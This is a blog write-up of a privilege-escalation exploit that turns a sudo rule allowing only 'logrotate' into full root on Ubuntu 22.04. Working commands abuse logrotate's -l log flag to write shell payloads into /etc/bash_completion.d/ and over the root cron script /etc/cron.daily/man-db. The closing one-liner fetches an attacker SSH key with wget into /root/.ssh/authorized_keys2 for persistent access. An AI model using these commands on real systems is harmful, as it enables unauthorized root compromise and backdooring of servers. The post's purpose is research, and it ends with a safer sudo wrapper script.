Joshua.Hu | Joshua Rogers' Scribbles

root with a single command: sudo logrotate

The scenario is this: a brand new Ubuntu 22.04 server has an account which is restricted to running sudo logrotate *. Can we get root? Short answer: Yes. I couldn’t find much online about this type of exploitation of logrotate, so let’s document something for future use.


Note: as mentioned, the user is limited to only running sudo logrotate *. No other command is possible. This could be either through some rbash setup, some ForceCommand setting in ssh, or something else. The point is: the user cannot run anything other than sudo logrotate. /etc/sudoers contains the following:

user ALL=(ALL:ALL) NOPASSWD: /usr/sbin/logrotate *

So we need to find some functionality built into logrotate which will let us elevate to unrestricted root.


Let’s first look at logrotate’s help text:

$ logrotate --help
Usage: logrotate [OPTION...] <configfile>
[..]
  -f, --force               Force file rotation
  -m, --mail=command        Command to send mail (instead of `/usr/bin/mail')
  -s, --state=statefile     Path of state file
  -l, --log=logfile         Log file or 'syslog' to log to syslog

My first instinct was to use something like sudo logrotate -m '/usr/bin/uname'. The manual states that this flag is for:

       -m, --mail command
              Tells logrotate which command to use when mailing logs.

A logrotate configuration file may specify an email address to send log files when they are rotated:

       mail address: When a log is rotated out of existence, it is mailed to address.  If no mail should be generated by a particular log, the nomail directive may be used.
       nomail: Do not mail old log files to any address.
       mailfirst: When using the mail command, mail the just-rotated file, instead of the about-to-expire file.
       maillast: When using the mail command, mail the about-to-expire file, instead of the just-rotated file (this is the default).

However, no logrotate configuration files were mailing logs:

$ grep -nrI 'mail' /etc/logrotate.*
$

So, why not just create a new configuration? No dice:

$ sudo logrotate -m '/usr/bin/uname' ./mail
Potentially dangerous mode on ./mail: 0664
error: Ignoring ./mail because it is writable by group or others.

$ chmod 600 mail

$ sudo logrotate -m '/usr/bin/uname' -f ./mail
error: Ignoring ./mail because the file owner is wrong (should be root or user with uid 0).

So we need a very specific type of file: owned by root, and only writable by root. I first thought some log files may work:

-rw-r--r--   1 root      root                   0 Oct  1 00:00 dpkg.log
-rw-r--r--   1 root      root                   0 Oct  1 00:00 alternatives.log
-rw-r-----   1 root      adm                46992 Sep  5 15:48 dmesg
..

but I couldn’t find anything that would let me log to the file verbatim, or without any extra characters at the end (due to logrotate’s functionality, we can effectively log to the beginning of many log files too, since we can just rotate the log if there is a configuration file in /etc/logrotate.d/ already.)


I then thought /var/mail/root:

$ ls -l /var/mail/root
-rw------- 1 root mail 1 Oct  1 01:07 /var/mail/root

It definitely fits our requirements. So let’s try:

$ cat <<< "/home/user/log.log {
mail address@example.com
}" | mail -s "Email Subject" root

$ sudo logrotate -m '/usr/bin/uname' -f /var/mail/root
error: /var/mail/root:1 unknown option 'From' -- ignoring line
error: /var/mail/root:2 keyword 'Return' not properly separated, found 0x2d

Unfortunately logrotate completely bawks on the second line in the mail file:

From user@server  Sun Oct  1 01:10:45 2023
Return-Path: <user@server>
X-Original-To: root
Delivered-To: root@server
Received: by server (Postfix, from userid 1000)
	id D689B7E3DD; Sun,  1 Oct 2023 01:10:45 +0000 (UTC)
Subject: Email Subject
To: root@server
User-Agent: mail (GNU Mailutils 3.14)
Date: Sun,  1 Oct 2023 01:10:45 +0000
Message-Id: <20231001011045.D689B7E3DD@server>
From: User <user@server>

/home/user/log.log {
mail address@example.com
}

So, out of luck here, too.


I moved on to the -s flag that logrotate provides, and while it can create files as root (and overwrite those that exist), it didn’t provide much value:

$ ls -l /tmp/test
-rw-r----- 1 root root 29 Oct  1 01:19 /tmp/test

$ cat /tmp/test # run as root
logrotate state -- version 2

Finally, I took a look at the -l flag:

$ sudo logrotate -l ./nonexist test
error: cannot stat test: No such file or directory

$ cat nonexist
error: cannot stat test: No such file or directory
Reading state from file: /var/lib/logrotate/status
Allocating hash table for state file, size 64 entries
Creating new state
[..]

Handling 0 logs

$ ls -l nonexist
-rw-r--r-- 1 root root 952 Oct  1 01:28 nonexist

So we can write arbitrary data (test here is the arbitrary data, albeit with some garbage between it) to an arbitrary file which is owned by root. What more can we do with this?

user@server:/etc/bash_completion.d$ ls -l
total 4
-rw-r--r-- 1 root root 439 Feb 28  2023 git-prompt

user@server:/etc/bash_completion.d$ sudo logrotate -l /etc/bash_completion.d/backdoor '2>/dev/null;uname -a; return 0;'
error: cannot stat 2>/dev/null;uname -a; return 0;: No such file or directory

user@server:/etc/bash_completion.d$ ls -l
total 8
-rw-r--r-- 1 root root 652 Sep 30 14:35 backdoor
-rw-r--r-- 1 root root 439 Feb 28  2023 git-prompt

user@server:/etc/bash_completion.d$ cat backdoor
error: cannot stat 2>/dev/null;uname -a; return 0;: No such file or directory
acquired lock on state file /var/lib/logrotate/statusReading state from file: /var/lib/logrotate/status
Allocating hash table for state file, size 64 entries
Creating new state
[..]

user@server:/etc/bash_completion.d$ exit
logout
Shared connection to server closed.

$ ssh user@server
Last login: Sat Sep 30 14:33:20 2023 from 10.0.0.0
Linux server 5.15.0-83-generic #92-Ubuntu SMP Mon Aug 14 09:30:42 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
Linux server 5.15.0-83-generic #92-Ubuntu SMP Mon Aug 14 09:30:42 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Basically, we can create an arbitrary file in /etc/bash_completion.d/ which, if bash completion is enabled, will be sourced when a user logs into the server. The arbitrary data is 2>/dev/null;uname -a; return 0; which effectively sends the first garbage data to /dev/null; executes uname -a; then returns, ignoring the rest of the junk data. This could be used to get a shell when a real user logs into the server, hopefully obtaining more access. Alternatively, we could create some file in /etc/init.d/, /etc/profile.d/, or overwrite /etc/profile. The possibilities are endless.


I wasn’t happy with leaving it like this, so I took a further look. As it turns out, the permissions of the log files are retained too:

$ touch check-perms
$ chmod 777 check-perms
$ sudo logrotate -l ./check-perms test
error: cannot stat test: No such file or directory

$ ls -l check-perms
-rwxrwxrwx 1 user user 952 Oct  1 01:32 check-perms

What can we do with this?

Well, we can edit one of the scripts in /etc/cron.daily/:

user@server:/etc/cron.daily$ ls -l man-db
-rwxr-xr-x 1 root root 1395 Mar 12  2023 man-db

user@server:/etc/cron.daily$ sudo logrotate -l /etc/cron.daily/man-db '2>/dev/null;uname -a; exit 0;'
error: cannot stat 2>/dev/null;uname -a; exit 0;: No such file or directory

user@server:/etc/cron.daily$ ls -l man-db
-rwxr-xr-x 1 root root 652 Sep 30 14:50 man-db

user@server:/etc/cron.daily$ ./man-db
Linux server 5.15.0-83-generic #92-Ubuntu SMP Mon Aug 14 09:30:42 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

The next time the cronjob runs, our arbitrary code is executed: as root.


So, to answer the question: with only the sudo logrotate command available, can we obtain root? Yep; it’s as simple as:

sudo logrotate -l /etc/cron.daily/man-db '2>/dev/null;wget host/ssh.key -O /root/.ssh/authorized_keys2; exit 0;'

then wait until the cronjob is run, and just ssh in. That’s my solution to this problem, anyways.


And of course, the slightly more appropriate way to achieve the goal of allowing a normal user to rotate logs would be to allow sudo to run a wrapper script like this:

#!/bin/sh
case "$1" in
    [a-z0-9A-Z\-])
       /usr/sbin/logrotate -f /etc/logrotate.d/"$1"
        ;;
    *)
        exit 1
        ;;
esac